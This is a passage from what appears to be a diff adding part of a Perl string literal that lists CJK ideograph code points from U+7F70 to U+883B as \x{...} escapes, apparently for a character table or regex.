+'\x{7F70}\x{7F71}\x{7F72}\x{7F73}\x{7F74}\x{7F75}\x{7F76}\x{7F77}\x{7F78}' .
+'\x{7F79}\x{7F7A}\x{7F7B}\x{7F7C}\x{7F7D}\x{7F7E}\x{7F7F}\x{7F80}\x{7F81}' .
+'\x{7F82}\x{7F83}\x{7F85}\x{7F86}\x{7F87}\x{7F88}\x{7F89}\x{7F8A}\x{7F8B}' .
+'\x{7F8C}\x{7F8D}\x{7F8E}\x{7F8F}\x{7F91}\x{7F92}\x{7F93}\x{7F94}\x{7F95}' .
+'\x{7F96}\x{7F98}\x{7F9A}\x{7F9B}\x{7F9C}\x{7F9D}\x{7F9E}\x{7F9F}\x{7FA0}' .
+'\x{7FA1}\x{7FA2}\x{7FA3}\x{7FA4}\x{7FA5}\x{7FA6}\x{7FA7}\x{7FA8}\x{7FA9}' .
+'\x{7FAA}\x{7FAB}\x{7FAC}\x{7FAD}\x{7FAE}\x{7FAF}\x{7FB0}\x{7FB1}\x{7FB2}' .
+'\x{7FB3}\x{7FB5}\x{7FB6}\x{7FB7}\x{7FB8}\x{7FB9}\x{7FBA}\x{7FBB}\x{7FBC}' .
+'\x{7FBD}\x{7FBE}\x{7FBF}\x{7FC0}\x{7FC1}\x{7FC2}\x{7FC3}\x{7FC4}\x{7FC5}' .
+'\x{7FC6}\x{7FC7}\x{7FC8}\x{7FC9}\x{7FCA}\x{7FCB}\x{7FCC}\x{7FCD}\x{7FCE}' .
+'\x{7FCF}\x{7FD0}\x{7FD1}\x{7FD2}\x{7FD3}\x{7FD4}\x{7FD5}\x{7FD7}\x{7FD8}' .
+'\x{7FD9}\x{7FDA}\x{7FDB}\x{7FDC}\x{7FDE}\x{7FDF}\x{7FE0}\x{7FE1}\x{7FE2}' .
+'\x{7FE3}\x{7FE5}\x{7FE6}\x{7FE7}\x{7FE8}\x{7FE9}\x{7FEA}\x{7FEB}\x{7FEC}' .
+'\x{7FED}\x{7FEE}\x{7FEF}\x{7FF0}\x{7FF1}\x{7FF2}\x{7FF3}\x{7FF4}\x{7FF5}' .
+'\x{7FF6}\x{7FF7}\x{7FF8}\x{7FF9}\x{7FFA}\x{7FFB}\x{7FFC}\x{7FFD}\x{7FFE}' .
+'\x{7FFF}\x{8000}\x{8001}\x{8002}\x{8003}\x{8004}\x{8005}\x{8006}\x{8007}' .
+'\x{8008}\x{8009}\x{800B}\x{800C}\x{800D}\x{800E}\x{800F}\x{8010}\x{8011}' .
+'\x{8012}\x{8013}\x{8014}\x{8015}\x{8016}\x{8017}\x{8018}\x{8019}\x{801A}' .
+'\x{801B}\x{801C}\x{801D}\x{801E}\x{801F}\x{8020}\x{8021}\x{8022}\x{8023}' .
+'\x{8024}\x{8025}\x{8026}\x{8027}\x{8028}\x{8029}\x{802A}\x{802B}\x{802C}' .
+'\x{802D}\x{802E}\x{8030}\x{8031}\x{8032}\x{8033}\x{8034}\x{8035}\x{8036}' .
+'\x{8037}\x{8038}\x{8039}\x{803A}\x{803B}\x{803D}\x{803E}\x{803F}\x{8041}' .
+'\x{8042}\x{8043}\x{8044}\x{8045}\x{8046}\x{8047}\x{8048}\x{8049}\x{804A}' .
+'\x{804B}\x{804C}\x{804D}\x{804E}\x{804F}\x{8050}\x{8051}\x{8052}\x{8053}' .
+'\x{8054}\x{8055}\x{8056}\x{8057}\x{8058}\x{8059}\x{805A}\x{805B}\x{805C}' .
+'\x{805D}\x{805E}\x{805F}\x{8060}\x{8061}\x{8062}\x{8063}\x{8064}\x{8065}' .
+'\x{8067}\x{8068}\x{8069}\x{806A}\x{806B}\x{806C}\x{806D}\x{806E}\x{806F}' .
+'\x{8070}\x{8071}\x{8072}\x{8073}\x{8074}\x{8075}\x{8076}\x{8077}\x{8078}' .
+'\x{8079}\x{807A}\x{807B}\x{807C}\x{807D}\x{807E}\x{807F}\x{8080}\x{8081}' .
+'\x{8082}\x{8083}\x{8084}\x{8085}\x{8086}\x{8087}\x{8089}\x{808A}\x{808B}' .
+'\x{808C}\x{808D}\x{808F}\x{8090}\x{8091}\x{8092}\x{8093}\x{8095}\x{8096}' .
+'\x{8097}\x{8098}\x{8099}\x{809A}\x{809B}\x{809C}\x{809D}\x{809E}\x{809F}' .
+'\x{80A0}\x{80A1}\x{80A2}\x{80A3}\x{80A4}\x{80A5}\x{80A9}\x{80AA}\x{80AB}' .
+'\x{80AD}\x{80AE}\x{80AF}\x{80B0}\x{80B1}\x{80B2}\x{80B4}\x{80B5}\x{80B6}' .
+'\x{80B7}\x{80B8}\x{80BA}\x{80BB}\x{80BC}\x{80BD}\x{80BE}\x{80BF}\x{80C0}' .
+'\x{80C1}\x{80C2}\x{80C3}\x{80C4}\x{80C5}\x{80C6}\x{80C7}\x{80C8}\x{80C9}' .
+'\x{80CA}\x{80CB}\x{80CC}\x{80CD}\x{80CE}\x{80CF}\x{80D0}\x{80D1}\x{80D2}' .
+'\x{80D3}\x{80D4}\x{80D5}\x{80D6}\x{80D7}\x{80D8}\x{80D9}\x{80DA}\x{80DB}' .
+'\x{80DC}\x{80DD}\x{80DE}\x{80E0}\x{80E1}\x{80E2}\x{80E3}\x{80E4}\x{80E5}' .
+'\x{80E6}\x{80E7}\x{80E8}\x{80E9}\x{80EA}\x{80EB}\x{80EC}\x{80ED}\x{80EE}' .
+'\x{80EF}\x{80F0}\x{80F1}\x{80F2}\x{80F3}\x{80F4}\x{80F5}\x{80F6}\x{80F7}' .
+'\x{80F8}\x{80F9}\x{80FA}\x{80FB}\x{80FC}\x{80FD}\x{80FE}\x{80FF}\x{8100}' .
+'\x{8101}\x{8102}\x{8105}\x{8106}\x{8107}\x{8108}\x{8109}\x{810A}\x{810B}' .
+'\x{810C}\x{810D}\x{810E}\x{810F}\x{8110}\x{8111}\x{8112}\x{8113}\x{8114}' .
+'\x{8115}\x{8116}\x{8118}\x{8119}\x{811A}\x{811B}\x{811C}\x{811D}\x{811E}' .
+'\x{811F}\x{8120}\x{8121}\x{8122}\x{8123}\x{8124}\x{8125}\x{8126}\x{8127}' .
+'\x{8128}\x{8129}\x{812A}\x{812B}\x{812C}\x{812D}\x{812E}\x{812F}\x{8130}' .
+'\x{8131}\x{8132}\x{8136}\x{8137}\x{8138}\x{8139}\x{813A}\x{813B}\x{813C}' .
+'\x{813D}\x{813E}\x{813F}\x{8140}\x{8141}\x{8142}\x{8143}\x{8144}\x{8145}' .
+'\x{8146}\x{8147}\x{8148}\x{8149}\x{814A}\x{814B}\x{814C}\x{814D}\x{814E}' .
+'\x{814F}\x{8150}\x{8151}\x{8152}\x{8153}\x{8154}\x{8155}\x{8156}\x{8157}' .
+'\x{8158}\x{8159}\x{815A}\x{815B}\x{815C}\x{815D}\x{815E}\x{8160}\x{8161}' .
+'\x{8162}\x{8163}\x{8164}\x{8165}\x{8166}\x{8167}\x{8168}\x{8169}\x{816A}' .
+'\x{816B}\x{816C}\x{816D}\x{816E}\x{816F}\x{8170}\x{8171}\x{8172}\x{8173}' .
+'\x{8174}\x{8175}\x{8176}\x{8177}\x{8178}\x{8179}\x{817A}\x{817B}\x{817C}' .
+'\x{817D}\x{817E}\x{817F}\x{8180}\x{8181}\x{8182}\x{8183}\x{8185}\x{8186}' .
+'\x{8187}\x{8188}\x{8189}\x{818A}\x{818B}\x{818C}\x{818D}\x{818E}\x{818F}' .
+'\x{8191}\x{8192}\x{8193}\x{8194}\x{8195}\x{8197}\x{8198}\x{8199}\x{819A}' .
+'\x{819B}\x{819C}\x{819D}\x{819E}\x{819F}\x{81A0}\x{81A1}\x{81A2}\x{81A3}' .
+'\x{81A4}\x{81A5}\x{81A6}\x{81A7}\x{81A8}\x{81A9}\x{81AA}\x{81AB}\x{81AC}' .
+'\x{81AD}\x{81AE}\x{81AF}\x{81B0}\x{81B1}\x{81B2}\x{81B3}\x{81B4}\x{81B5}' .
+'\x{81B6}\x{81B7}\x{81B8}\x{81B9}\x{81BA}\x{81BB}\x{81BC}\x{81BD}\x{81BE}' .
+'\x{81BF}\x{81C0}\x{81C1}\x{81C2}\x{81C3}\x{81C4}\x{81C5}\x{81C6}\x{81C7}' .
+'\x{81C8}\x{81C9}\x{81CA}\x{81CC}\x{81CD}\x{81CE}\x{81CF}\x{81D0}\x{81D1}' .
+'\x{81D2}\x{81D4}\x{81D5}\x{81D6}\x{81D7}\x{81D8}\x{81D9}\x{81DA}\x{81DB}' .
+'\x{81DC}\x{81DD}\x{81DE}\x{81DF}\x{81E0}\x{81E1}\x{81E2}\x{81E3}\x{81E5}' .
+'\x{81E6}\x{81E7}\x{81E8}\x{81E9}\x{81EA}\x{81EB}\x{81EC}\x{81ED}\x{81EE}' .
+'\x{81F1}\x{81F2}\x{81F3}\x{81F4}\x{81F5}\x{81F6}\x{81F7}\x{81F8}\x{81F9}' .
+'\x{81FA}\x{81FB}\x{81FC}\x{81FD}\x{81FE}\x{81FF}\x{8200}\x{8201}\x{8202}' .
+'\x{8203}\x{8204}\x{8205}\x{8206}\x{8207}\x{8208}\x{8209}\x{820A}\x{820B}' .
+'\x{820C}\x{820D}\x{820E}\x{820F}\x{8210}\x{8211}\x{8212}\x{8214}\x{8215}' .
+'\x{8216}\x{8218}\x{8219}\x{821A}\x{821B}\x{821C}\x{821D}\x{821E}\x{821F}' .
+'\x{8220}\x{8221}\x{8222}\x{8223}\x{8225}\x{8226}\x{8227}\x{8228}\x{8229}' .
+'\x{822A}\x{822B}\x{822C}\x{822D}\x{822F}\x{8230}\x{8231}\x{8232}\x{8233}' .
+'\x{8234}\x{8235}\x{8236}\x{8237}\x{8238}\x{8239}\x{823A}\x{823B}\x{823C}' .
+'\x{823D}\x{823E}\x{823F}\x{8240}\x{8242}\x{8243}\x{8244}\x{8245}\x{8246}' .
+'\x{8247}\x{8248}\x{8249}\x{824A}\x{824B}\x{824C}\x{824D}\x{824E}\x{824F}' .
+'\x{8250}\x{8251}\x{8252}\x{8253}\x{8254}\x{8255}\x{8256}\x{8257}\x{8258}' .
+'\x{8259}\x{825A}\x{825B}\x{825C}\x{825D}\x{825E}\x{825F}\x{8260}\x{8261}' .
+'\x{8263}\x{8264}\x{8266}\x{8267}\x{8268}\x{8269}\x{826A}\x{826B}\x{826C}' .
+'\x{826D}\x{826E}\x{826F}\x{8270}\x{8271}\x{8272}\x{8273}\x{8274}\x{8275}' .
+'\x{8276}\x{8277}\x{8278}\x{8279}\x{827A}\x{827B}\x{827C}\x{827D}\x{827E}' .
+'\x{827F}\x{8280}\x{8281}\x{8282}\x{8283}\x{8284}\x{8285}\x{8286}\x{8287}' .
+'\x{8288}\x{8289}\x{828A}\x{828B}\x{828D}\x{828E}\x{828F}\x{8290}\x{8291}' .
+'\x{8292}\x{8293}\x{8294}\x{8295}\x{8296}\x{8297}\x{8298}\x{8299}\x{829A}' .
+'\x{829B}\x{829C}\x{829D}\x{829E}\x{829F}\x{82A0}\x{82A1}\x{82A2}\x{82A3}' .
+'\x{82A4}\x{82A5}\x{82A6}\x{82A7}\x{82A8}\x{82A9}\x{82AA}\x{82AB}\x{82AC}' .
+'\x{82AD}\x{82AE}\x{82AF}\x{82B0}\x{82B1}\x{82B3}\x{82B4}\x{82B5}\x{82B6}' .
+'\x{82B7}\x{82B8}\x{82B9}\x{82BA}\x{82BB}\x{82BC}\x{82BD}\x{82BE}\x{82BF}' .
+'\x{82C0}\x{82C1}\x{82C2}\x{82C3}\x{82C4}\x{82C5}\x{82C6}\x{82C7}\x{82C8}' .
+'\x{82C9}\x{82CA}\x{82CB}\x{82CC}\x{82CD}\x{82CE}\x{82CF}\x{82D0}\x{82D1}' .
+'\x{82D2}\x{82D3}\x{82D4}\x{82D5}\x{82D6}\x{82D7}\x{82D8}\x{82D9}\x{82DA}' .
+'\x{82DB}\x{82DC}\x{82DD}\x{82DE}\x{82DF}\x{82E0}\x{82E1}\x{82E3}\x{82E4}' .
+'\x{82E5}\x{82E6}\x{82E7}\x{82E8}\x{82E9}\x{82EA}\x{82EB}\x{82EC}\x{82ED}' .
+'\x{82EE}\x{82EF}\x{82F0}\x{82F1}\x{82F2}\x{82F3}\x{82F4}\x{82F5}\x{82F6}' .
+'\x{82F7}\x{82F8}\x{82F9}\x{82FA}\x{82FB}\x{82FD}\x{82FE}\x{82FF}\x{8300}' .
+'\x{8301}\x{8302}\x{8303}\x{8304}\x{8305}\x{8306}\x{8307}\x{8308}\x{8309}' .
+'\x{830B}\x{830C}\x{830D}\x{830E}\x{830F}\x{8311}\x{8312}\x{8313}\x{8314}' .
+'\x{8315}\x{8316}\x{8317}\x{8318}\x{8319}\x{831A}\x{831B}\x{831C}\x{831D}' .
+'\x{831E}\x{831F}\x{8320}\x{8321}\x{8322}\x{8323}\x{8324}\x{8325}\x{8326}' .
+'\x{8327}\x{8328}\x{8329}\x{832A}\x{832B}\x{832C}\x{832D}\x{832E}\x{832F}' .
+'\x{8331}\x{8332}\x{8333}\x{8334}\x{8335}\x{8336}\x{8337}\x{8338}\x{8339}' .
+'\x{833A}\x{833B}\x{833C}\x{833D}\x{833E}\x{833F}\x{8340}\x{8341}\x{8342}' .
+'\x{8343}\x{8344}\x{8345}\x{8346}\x{8347}\x{8348}\x{8349}\x{834A}\x{834B}' .
+'\x{834C}\x{834D}\x{834E}\x{834F}\x{8350}\x{8351}\x{8352}\x{8353}\x{8354}' .
+'\x{8356}\x{8357}\x{8358}\x{8359}\x{835A}\x{835B}\x{835C}\x{835D}\x{835E}' .
+'\x{835F}\x{8360}\x{8361}\x{8362}\x{8363}\x{8364}\x{8365}\x{8366}\x{8367}' .
+'\x{8368}\x{8369}\x{836A}\x{836B}\x{836C}\x{836D}\x{836E}\x{836F}\x{8370}' .
+'\x{8371}\x{8372}\x{8373}\x{8374}\x{8375}\x{8376}\x{8377}\x{8378}\x{8379}' .
+'\x{837A}\x{837B}\x{837C}\x{837D}\x{837E}\x{837F}\x{8380}\x{8381}\x{8382}' .
+'\x{8383}\x{8384}\x{8385}\x{8386}\x{8387}\x{8388}\x{8389}\x{838A}\x{838B}' .
+'\x{838C}\x{838D}\x{838E}\x{838F}\x{8390}\x{8391}\x{8392}\x{8393}\x{8394}' .
+'\x{8395}\x{8396}\x{8397}\x{8398}\x{8399}\x{839A}\x{839B}\x{839C}\x{839D}' .
+'\x{839E}\x{83A0}\x{83A1}\x{83A2}\x{83A3}\x{83A4}\x{83A5}\x{83A6}\x{83A7}' .
+'\x{83A8}\x{83A9}\x{83AA}\x{83AB}\x{83AC}\x{83AD}\x{83AE}\x{83AF}\x{83B0}' .
+'\x{83B1}\x{83B2}\x{83B3}\x{83B4}\x{83B6}\x{83B7}\x{83B8}\x{83B9}\x{83BA}' .
+'\x{83BB}\x{83BC}\x{83BD}\x{83BF}\x{83C0}\x{83C1}\x{83C2}\x{83C3}\x{83C4}' .
+'\x{83C5}\x{83C6}\x{83C7}\x{83C8}\x{83C9}\x{83CA}\x{83CB}\x{83CC}\x{83CD}' .
+'\x{83CE}\x{83CF}\x{83D0}\x{83D1}\x{83D2}\x{83D3}\x{83D4}\x{83D5}\x{83D6}' .
+'\x{83D7}\x{83D8}\x{83D9}\x{83DA}\x{83DB}\x{83DC}\x{83DD}\x{83DE}\x{83DF}' .
+'\x{83E0}\x{83E1}\x{83E2}\x{83E3}\x{83E4}\x{83E5}\x{83E7}\x{83E8}\x{83E9}' .
+'\x{83EA}\x{83EB}\x{83EC}\x{83EE}\x{83EF}\x{83F0}\x{83F1}\x{83F2}\x{83F3}' .
+'\x{83F4}\x{83F5}\x{83F6}\x{83F7}\x{83F8}\x{83F9}\x{83FA}\x{83FB}\x{83FC}' .
+'\x{83FD}\x{83FE}\x{83FF}\x{8400}\x{8401}\x{8402}\x{8403}\x{8404}\x{8405}' .
+'\x{8406}\x{8407}\x{8408}\x{8409}\x{840A}\x{840B}\x{840C}\x{840D}\x{840E}' .
+'\x{840F}\x{8410}\x{8411}\x{8412}\x{8413}\x{8415}\x{8418}\x{8419}\x{841A}' .
+'\x{841B}\x{841C}\x{841D}\x{841E}\x{8421}\x{8422}\x{8423}\x{8424}\x{8425}' .
+'\x{8426}\x{8427}\x{8428}\x{8429}\x{842A}\x{842B}\x{842C}\x{842D}\x{842E}' .
+'\x{842F}\x{8430}\x{8431}\x{8432}\x{8433}\x{8434}\x{8435}\x{8436}\x{8437}' .
+'\x{8438}\x{8439}\x{843A}\x{843B}\x{843C}\x{843D}\x{843E}\x{843F}\x{8440}' .
+'\x{8441}\x{8442}\x{8443}\x{8444}\x{8445}\x{8446}\x{8447}\x{8448}\x{8449}' .
+'\x{844A}\x{844B}\x{844C}\x{844D}\x{844E}\x{844F}\x{8450}\x{8451}\x{8452}' .
+'\x{8453}\x{8454}\x{8455}\x{8456}\x{8457}\x{8459}\x{845A}\x{845B}\x{845C}' .
+'\x{845D}\x{845E}\x{845F}\x{8460}\x{8461}\x{8462}\x{8463}\x{8464}\x{8465}' .
+'\x{8466}\x{8467}\x{8468}\x{8469}\x{846A}\x{846B}\x{846C}\x{846D}\x{846E}' .
+'\x{846F}\x{8470}\x{8471}\x{8472}\x{8473}\x{8474}\x{8475}\x{8476}\x{8477}' .
+'\x{8478}\x{8479}\x{847A}\x{847B}\x{847C}\x{847D}\x{847E}\x{847F}\x{8480}' .
+'\x{8481}\x{8482}\x{8484}\x{8485}\x{8486}\x{8487}\x{8488}\x{8489}\x{848A}' .
+'\x{848B}\x{848C}\x{848D}\x{848E}\x{848F}\x{8490}\x{8491}\x{8492}\x{8493}' .
+'\x{8494}\x{8496}\x{8497}\x{8498}\x{8499}\x{849A}\x{849B}\x{849C}\x{849D}' .
+'\x{849E}\x{849F}\x{84A0}\x{84A1}\x{84A2}\x{84A3}\x{84A4}\x{84A5}\x{84A6}' .
+'\x{84A7}\x{84A8}\x{84A9}\x{84AA}\x{84AB}\x{84AC}\x{84AE}\x{84AF}\x{84B0}' .
+'\x{84B1}\x{84B2}\x{84B3}\x{84B4}\x{84B5}\x{84B6}\x{84B8}\x{84B9}\x{84BA}' .
+'\x{84BB}\x{84BC}\x{84BD}\x{84BE}\x{84BF}\x{84C0}\x{84C1}\x{84C2}\x{84C4}' .
+'\x{84C5}\x{84C6}\x{84C7}\x{84C8}\x{84C9}\x{84CA}\x{84CB}\x{84CC}\x{84CD}' .
+'\x{84CE}\x{84CF}\x{84D0}\x{84D1}\x{84D2}\x{84D3}\x{84D4}\x{84D5}\x{84D6}' .
+'\x{84D7}\x{84D8}\x{84D9}\x{84DB}\x{84DC}\x{84DD}\x{84DE}\x{84DF}\x{84E0}' .
+'\x{84E1}\x{84E2}\x{84E3}\x{84E4}\x{84E5}\x{84E6}\x{84E7}\x{84E8}\x{84E9}' .
+'\x{84EA}\x{84EB}\x{84EC}\x{84EE}\x{84EF}\x{84F0}\x{84F1}\x{84F2}\x{84F3}' .
+'\x{84F4}\x{84F5}\x{84F6}\x{84F7}\x{84F8}\x{84F9}\x{84FA}\x{84FB}\x{84FC}' .
+'\x{84FD}\x{84FE}\x{84FF}\x{8500}\x{8501}\x{8502}\x{8503}\x{8504}\x{8506}' .
+'\x{8507}\x{8508}\x{8509}\x{850A}\x{850B}\x{850C}\x{850D}\x{850E}\x{850F}' .
+'\x{8511}\x{8512}\x{8513}\x{8514}\x{8515}\x{8516}\x{8517}\x{8518}\x{8519}' .
+'\x{851A}\x{851B}\x{851C}\x{851D}\x{851E}\x{851F}\x{8520}\x{8521}\x{8522}' .
+'\x{8523}\x{8524}\x{8525}\x{8526}\x{8527}\x{8528}\x{8529}\x{852A}\x{852B}' .
+'\x{852C}\x{852D}\x{852E}\x{852F}\x{8530}\x{8531}\x{8534}\x{8535}\x{8536}' .
+'\x{8537}\x{8538}\x{8539}\x{853A}\x{853B}\x{853C}\x{853D}\x{853E}\x{853F}' .
+'\x{8540}\x{8541}\x{8542}\x{8543}\x{8544}\x{8545}\x{8546}\x{8547}\x{8548}' .
+'\x{8549}\x{854A}\x{854B}\x{854D}\x{854E}\x{854F}\x{8551}\x{8552}\x{8553}' .
+'\x{8554}\x{8555}\x{8556}\x{8557}\x{8558}\x{8559}\x{855A}\x{855B}\x{855C}' .
+'\x{855D}\x{855E}\x{855F}\x{8560}\x{8561}\x{8562}\x{8563}\x{8564}\x{8565}' .
+'\x{8566}\x{8567}\x{8568}\x{8569}\x{856A}\x{856B}\x{856C}\x{856D}\x{856E}' .
+'\x{856F}\x{8570}\x{8571}\x{8572}\x{8573}\x{8574}\x{8575}\x{8576}\x{8577}' .
+'\x{8578}\x{8579}\x{857A}\x{857B}\x{857C}\x{857D}\x{857E}\x{8580}\x{8581}' .
+'\x{8582}\x{8583}\x{8584}\x{8585}\x{8586}\x{8587}\x{8588}\x{8589}\x{858A}' .
+'\x{858B}\x{858C}\x{858D}\x{858E}\x{858F}\x{8590}\x{8591}\x{8592}\x{8594}' .
+'\x{8595}\x{8596}\x{8598}\x{8599}\x{859A}\x{859B}\x{859C}\x{859D}\x{859E}' .
+'\x{859F}\x{85A0}\x{85A1}\x{85A2}\x{85A3}\x{85A4}\x{85A5}\x{85A6}\x{85A7}' .
+'\x{85A8}\x{85A9}\x{85AA}\x{85AB}\x{85AC}\x{85AD}\x{85AE}\x{85AF}\x{85B0}' .
+'\x{85B1}\x{85B3}\x{85B4}\x{85B5}\x{85B6}\x{85B7}\x{85B8}\x{85B9}\x{85BA}' .
+'\x{85BC}\x{85BD}\x{85BE}\x{85BF}\x{85C0}\x{85C1}\x{85C2}\x{85C3}\x{85C4}' .
+'\x{85C5}\x{85C6}\x{85C7}\x{85C8}\x{85C9}\x{85CA}\x{85CB}\x{85CD}\x{85CE}' .
+'\x{85CF}\x{85D0}\x{85D1}\x{85D2}\x{85D3}\x{85D4}\x{85D5}\x{85D6}\x{85D7}' .
+'\x{85D8}\x{85D9}\x{85DA}\x{85DB}\x{85DC}\x{85DD}\x{85DE}\x{85DF}\x{85E0}' .
+'\x{85E1}\x{85E2}\x{85E3}\x{85E4}\x{85E5}\x{85E6}\x{85E7}\x{85E8}\x{85E9}' .
+'\x{85EA}\x{85EB}\x{85EC}\x{85ED}\x{85EF}\x{85F0}\x{85F1}\x{85F2}\x{85F4}' .
+'\x{85F5}\x{85F6}\x{85F7}\x{85F8}\x{85F9}\x{85FA}\x{85FB}\x{85FD}\x{85FE}' .
+'\x{85FF}\x{8600}\x{8601}\x{8602}\x{8604}\x{8605}\x{8606}\x{8607}\x{8608}' .
+'\x{8609}\x{860A}\x{860B}\x{860C}\x{860F}\x{8611}\x{8612}\x{8613}\x{8614}' .
+'\x{8616}\x{8617}\x{8618}\x{8619}\x{861A}\x{861B}\x{861C}\x{861E}\x{861F}' .
+'\x{8620}\x{8621}\x{8622}\x{8623}\x{8624}\x{8625}\x{8626}\x{8627}\x{8628}' .
+'\x{8629}\x{862A}\x{862B}\x{862C}\x{862D}\x{862E}\x{862F}\x{8630}\x{8631}' .
+'\x{8632}\x{8633}\x{8634}\x{8635}\x{8636}\x{8638}\x{8639}\x{863A}\x{863B}' .
+'\x{863C}\x{863D}\x{863E}\x{863F}\x{8640}\x{8641}\x{8642}\x{8643}\x{8644}' .
+'\x{8645}\x{8646}\x{8647}\x{8648}\x{8649}\x{864A}\x{864B}\x{864C}\x{864D}' .
+'\x{864E}\x{864F}\x{8650}\x{8651}\x{8652}\x{8653}\x{8654}\x{8655}\x{8656}' .
+'\x{8658}\x{8659}\x{865A}\x{865B}\x{865C}\x{865D}\x{865E}\x{865F}\x{8660}' .
+'\x{8661}\x{8662}\x{8663}\x{8664}\x{8665}\x{8666}\x{8667}\x{8668}\x{8669}' .
+'\x{866A}\x{866B}\x{866C}\x{866D}\x{866E}\x{866F}\x{8670}\x{8671}\x{8672}' .
+'\x{8673}\x{8674}\x{8676}\x{8677}\x{8678}\x{8679}\x{867A}\x{867B}\x{867C}' .
+'\x{867D}\x{867E}\x{867F}\x{8680}\x{8681}\x{8682}\x{8683}\x{8684}\x{8685}' .
+'\x{8686}\x{8687}\x{8688}\x{868A}\x{868B}\x{868C}\x{868D}\x{868E}\x{868F}' .
+'\x{8690}\x{8691}\x{8693}\x{8694}\x{8695}\x{8696}\x{8697}\x{8698}\x{8699}' .
+'\x{869A}\x{869B}\x{869C}\x{869D}\x{869E}\x{869F}\x{86A1}\x{86A2}\x{86A3}' .
+'\x{86A4}\x{86A5}\x{86A7}\x{86A8}\x{86A9}\x{86AA}\x{86AB}\x{86AC}\x{86AD}' .
+'\x{86AE}\x{86AF}\x{86B0}\x{86B1}\x{86B2}\x{86B3}\x{86B4}\x{86B5}\x{86B6}' .
+'\x{86B7}\x{86B8}\x{86B9}\x{86BA}\x{86BB}\x{86BC}\x{86BD}\x{86BE}\x{86BF}' .
+'\x{86C0}\x{86C1}\x{86C2}\x{86C3}\x{86C4}\x{86C5}\x{86C6}\x{86C7}\x{86C8}' .
+'\x{86C9}\x{86CA}\x{86CB}\x{86CC}\x{86CE}\x{86CF}\x{86D0}\x{86D1}\x{86D2}' .
+'\x{86D3}\x{86D4}\x{86D6}\x{86D7}\x{86D8}\x{86D9}\x{86DA}\x{86DB}\x{86DC}' .
+'\x{86DD}\x{86DE}\x{86DF}\x{86E1}\x{86E2}\x{86E3}\x{86E4}\x{86E5}\x{86E6}' .
+'\x{86E8}\x{86E9}\x{86EA}\x{86EB}\x{86EC}\x{86ED}\x{86EE}\x{86EF}\x{86F0}' .
+'\x{86F1}\x{86F2}\x{86F3}\x{86F4}\x{86F5}\x{86F6}\x{86F7}\x{86F8}\x{86F9}' .
+'\x{86FA}\x{86FB}\x{86FC}\x{86FE}\x{86FF}\x{8700}\x{8701}\x{8702}\x{8703}' .
+'\x{8704}\x{8705}\x{8706}\x{8707}\x{8708}\x{8709}\x{870A}\x{870B}\x{870C}' .
+'\x{870D}\x{870E}\x{870F}\x{8710}\x{8711}\x{8712}\x{8713}\x{8714}\x{8715}' .
+'\x{8716}\x{8717}\x{8718}\x{8719}\x{871A}\x{871B}\x{871C}\x{871E}\x{871F}' .
+'\x{8720}\x{8721}\x{8722}\x{8723}\x{8724}\x{8725}\x{8726}\x{8727}\x{8728}' .
+'\x{8729}\x{872A}\x{872B}\x{872C}\x{872D}\x{872E}\x{8730}\x{8731}\x{8732}' .
+'\x{8733}\x{8734}\x{8735}\x{8736}\x{8737}\x{8738}\x{8739}\x{873A}\x{873B}' .
+'\x{873C}\x{873E}\x{873F}\x{8740}\x{8741}\x{8742}\x{8743}\x{8744}\x{8746}' .
+'\x{8747}\x{8748}\x{8749}\x{874A}\x{874C}\x{874D}\x{874E}\x{874F}\x{8750}' .
+'\x{8751}\x{8752}\x{8753}\x{8754}\x{8755}\x{8756}\x{8757}\x{8758}\x{8759}' .
+'\x{875A}\x{875B}\x{875C}\x{875D}\x{875E}\x{875F}\x{8760}\x{8761}\x{8762}' .
+'\x{8763}\x{8764}\x{8765}\x{8766}\x{8767}\x{8768}\x{8769}\x{876A}\x{876B}' .
+'\x{876C}\x{876D}\x{876E}\x{876F}\x{8770}\x{8772}\x{8773}\x{8774}\x{8775}' .
+'\x{8776}\x{8777}\x{8778}\x{8779}\x{877A}\x{877B}\x{877C}\x{877D}\x{877E}' .
+'\x{8780}\x{8781}\x{8782}\x{8783}\x{8784}\x{8785}\x{8786}\x{8787}\x{8788}' .
+'\x{8789}\x{878A}\x{878B}\x{878C}\x{878D}\x{878F}\x{8790}\x{8791}\x{8792}' .
+'\x{8793}\x{8794}\x{8795}\x{8796}\x{8797}\x{8798}\x{879A}\x{879B}\x{879C}' .
+'\x{879D}\x{879E}\x{879F}\x{87A0}\x{87A1}\x{87A2}\x{87A3}\x{87A4}\x{87A5}' .
+'\x{87A6}\x{87A7}\x{87A8}\x{87A9}\x{87AA}\x{87AB}\x{87AC}\x{87AD}\x{87AE}' .
+'\x{87AF}\x{87B0}\x{87B1}\x{87B2}\x{87B3}\x{87B4}\x{87B5}\x{87B6}\x{87B7}' .
+'\x{87B8}\x{87B9}\x{87BA}\x{87BB}\x{87BC}\x{87BD}\x{87BE}\x{87BF}\x{87C0}' .
+'\x{87C1}\x{87C2}\x{87C3}\x{87C4}\x{87C5}\x{87C6}\x{87C7}\x{87C8}\x{87C9}' .
+'\x{87CA}\x{87CB}\x{87CC}\x{87CD}\x{87CE}\x{87CF}\x{87D0}\x{87D1}\x{87D2}' .
+'\x{87D3}\x{87D4}\x{87D5}\x{87D6}\x{87D7}\x{87D8}\x{87D9}\x{87DB}\x{87DC}' .
+'\x{87DD}\x{87DE}\x{87DF}\x{87E0}\x{87E1}\x{87E2}\x{87E3}\x{87E4}\x{87E5}' .
+'\x{87E6}\x{87E7}\x{87E8}\x{87E9}\x{87EA}\x{87EB}\x{87EC}\x{87ED}\x{87EE}' .
+'\x{87EF}\x{87F1}\x{87F2}\x{87F3}\x{87F4}\x{87F5}\x{87F6}\x{87F7}\x{87F8}' .
+'\x{87F9}\x{87FA}\x{87FB}\x{87FC}\x{87FD}\x{87FE}\x{87FF}\x{8800}\x{8801}' .
+'\x{8802}\x{8803}\x{8804}\x{8805}\x{8806}\x{8808}\x{8809}\x{880A}\x{880B}' .
+'\x{880C}\x{880D}\x{880E}\x{880F}\x{8810}\x{8811}\x{8813}\x{8814}\x{8815}' .
+'\x{8816}\x{8817}\x{8818}\x{8819}\x{881A}\x{881B}\x{881C}\x{881D}\x{881E}' .
+'\x{881F}\x{8820}\x{8821}\x{8822}\x{8823}\x{8824}\x{8825}\x{8826}\x{8827}' .
+'\x{8828}\x{8829}\x{882A}\x{882B}\x{882C}\x{882E}\x{882F}\x{8830}\x{8831}' .
+'\x{8832}\x{8833}\x{8834}\x{8835}\x{8836}\x{8837}\x{8838}\x{8839}\x{883B}' .
